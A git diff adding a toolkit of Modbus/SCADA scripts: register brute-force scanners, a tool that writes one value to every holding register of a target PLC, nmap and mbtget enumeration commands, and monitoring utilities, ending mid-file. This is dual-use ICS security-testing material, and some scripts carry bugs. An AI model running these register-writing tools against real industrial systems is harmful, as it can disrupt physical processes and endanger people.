b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no 